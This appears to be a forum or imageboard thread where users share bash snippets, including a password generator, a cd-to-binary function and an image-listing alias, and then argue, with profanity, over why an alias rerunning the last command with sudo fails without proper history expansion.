passgen(){ echo Generating password...;head -c 100 /dev/random | tr -cd "[:print:]" ;}# passgen

passgen(){ echo -n Generating password...\ ; head -c 100 /dev/random | tr -cd "[:print:]"; echo;}# passgen

noice

# cd to the given filefunction cdf() { file=$(which "$*") if [[ -f "${file}" ]]; then cd "$(dirname "${file}")" else echo "'$*' does not exist." fi}# one-liner if bloat bothers youfunction cdf() { [[ -f "$(which "$*")" ]] && cd "$(dirname "$(which "$*")")" }

Both Arch and Gentoo are really suck! Actually, Ubuntu or Mint is better.

pretty epic huh
alias lsa='ls -p --quoting-style=escape | grep -v / | xargs -0 -d "\n" -I % file -i % | grep -E "image/[p|j|g]" | awk "{print \$1}" | tr -d \: | sxiv -t -'

alias fuck="sudo !!"

Illiterate, just like your choice in distro.

Is this bait?

No it doesn't look like it.
If you forgot to use sudo on a command, then it runs the last command (!!) with sudo (sudo !!) by simply typing "fuck".

Because it doesn't work?
~$ alias fuck="sudo !!" ~$ alias fuckalias fuck="sudo " ~$ alias fuck='sudo !!' ~$ alias fuckalias fuck='sudo !!' ~$ fucksudo: !!: command not found

Not in your shell it doesn't
$echo foofoo$!!echo foofoo

Since you clearly did not read what I posted, let me type it out for you again: ~$ alias fuck="sudo !!"alias fuck="sudo "e.g. ~$ ls ~$ alias fuck="sudo !!"alias fuck="sudo ls"Running bash. The fucking fuck alias doesn't fucking work.

you may have to reference the history file directly then via an evaluation: $(history -p !!) will get the last command in the history (!!) and not run it, effectively it does the substitution dynamically when the alias is executed. Otherwise using the double quotes as you do is a static substitution done once when the alias is defined.
alias fuck='sudo $(history -p !!)'Note: Use of apostrophes/single quotes (and not double quotes as you're using.)There is a significant difference in the shell interpretation.$alias fuck='sudo $(history -p !!)'$echo foofoo$fuckfoo$alias fuck="sudo $(history -p !!)"alias fuck="sudo $(history -p )"

if you want to do the command line meme of setting your alias you have to escape the explanation mark, absolutely low iq

y'all mother fuckers need to stop making scripts and reread the gnu's reference manual on bash.
One you're probably interested in right now is tiltled "history expansion".